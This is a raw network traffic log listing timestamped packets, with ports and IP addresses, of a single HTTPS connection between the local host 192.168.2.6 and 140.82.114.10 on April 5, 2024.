Apr 5, 2024 20:10:30.030798912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.031502962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.031524897 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.031605005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.031605005 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.031610966 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.032330990 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.032349110 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.032419920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.032419920 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.032426119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.032485962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.032577038 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.032583952 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.033392906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.033407927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.033495903 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.033495903 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.033499956 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.034591913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.034611940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.034720898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.034720898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.034725904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.035960913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.035976887 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.036144018 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.036154032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037030935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037050009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037118912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.037125111 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037152052 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.037172079 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037260056 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.037265062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.037386894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.038166046 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.038183928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.038265944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.038265944 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.038271904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.038961887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.039716005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.039736032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.039805889 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.039807081 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.039812088 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.039882898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.040649891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.040668964 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.040754080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.040754080 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.040760040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.041042089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.041877031 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.041894913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.041960955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.041975975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.041982889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.042004108 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.042057991 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.042840004 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.042857885 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.042906046 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.042911053 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.042937040 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.043039083 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.043670893 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.043689013 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.043766975 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.043770075 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.043792009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.044462919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.044481993 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.044553041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.044553041 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.044559002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.045341015 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.045356035 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.045448065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.045448065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.045450926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.045460939 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.045516014 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.046595097 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.046612978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.046679020 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.046684027 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.046758890 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.047683001 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.047704935 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.047777891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.047777891 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.047781944 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.048573971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.048593998 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.048671961 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.048671961 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.048677921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.048850060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.049839020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.049861908 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.049938917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.049938917 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.049943924 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.050021887 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.050024986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.050035000 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.050075054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.051011086 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.051029921 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.051125050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.051126003 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.051131010 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.051843882 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.051862955 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.051944971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.051944971 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.051949978 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.052656889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.052671909 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.052741051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.052741051 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.052747965 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.053946018 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.053963900 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.054032087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.054035902 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.054044962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.054060936 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.054127932 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.054135084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.054982901 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.208329916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.208357096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.208467960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.208467960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.208491087 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.208724976 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.209346056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.209363937 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.209440947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.209446907 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.209541082 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.210352898 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210374117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210454941 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.210460901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210515022 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210532904 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.210535049 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210546017 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210563898 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.210640907 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.210716009 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.210845947 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.211832047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.211848021 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.212146044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.212151051 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.212760925 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.212781906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.212822914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.212829113 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.212867022 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.214077950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.214099884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.214206934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.214210987 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.214975119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.214996099 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.215059042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.215063095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.215114117 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.215140104 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.215218067 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.215220928 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.215384960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.215967894 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.215990067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.216274023 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.216279984 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.216582060 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.216975927 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.217005014 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.217243910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.217247963 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.217308044 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.218108892 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.218131065 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.218224049 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.218229055 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.218307972 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.256380081 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.256401062 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.256475925 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.256484032 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.256503105 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.256531000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.256531000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.256536961 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.256563902 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.257544041 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.257564068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.257664919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.257664919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.257669926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.259401083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.259417057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.259735107 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.259741068 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261368036 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261388063 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261442900 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.261447906 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261464119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261482000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.261487007 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261516094 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261537075 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.261542082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.261567116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.261567116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.261632919 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.263575077 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.263592005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.263725042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.263729095 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.263840914 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.265100002 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.265115023 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.265414000 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.265419006 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.265708923 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.267338991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.267355919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.267441988 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.267446995 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.268313885 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.271137953 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.271155119 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.271291971 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.271315098 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.271330118 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.271358013 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.271455050 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.311649084 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.311676025 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.311781883 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.311788082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.311894894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.318424940 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.318449020 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.318516016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.318523884 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.318619967 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.320082903 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.320110083 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.320148945 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.320152044 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.320183039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.320207119 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.322004080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.322021008 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.322068930 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.322076082 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.322108984 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.322176933 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.322231054 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.323690891 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.323708057 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.323762894 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.323766947 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.325375080 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.325400114 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.325424910 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.325429916 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.325481892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.326493979 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.326513052 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.326632977 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.326637983 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328201056 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328227997 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328263998 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.328269005 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328305960 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.328339100 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328483105 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.328486919 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.328532934 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.329763889 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.329809904 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.329835892 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.329838991 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.329874039 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.332089901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.332107067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.332155943 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.332160950 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.332194090 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.332221031 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.334266901 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.334284067 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.334322929 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.334327936 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.334352016 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.334621906 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.336467981 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.336488962 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.336532116 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.336535931 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.336544037 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.336570978 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.336600065 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.336602926 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.339366913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.339385986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.339425087 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.339431047 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.339473009 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.341402054 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.341418028 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.341463089 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.341468096 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.341507912 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.342526913 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342545986 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342581034 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.342586040 CEST	443	49727	140.82.114.10	192.168.2.6
Apr 5, 2024 20:10:30.342622042 CEST	49727	443	192.168.2.6	140.82.114.10
Apr 5, 2024 20:10:30.342905998 CEST	443	49727	140.82.114.10	192.168.2.6
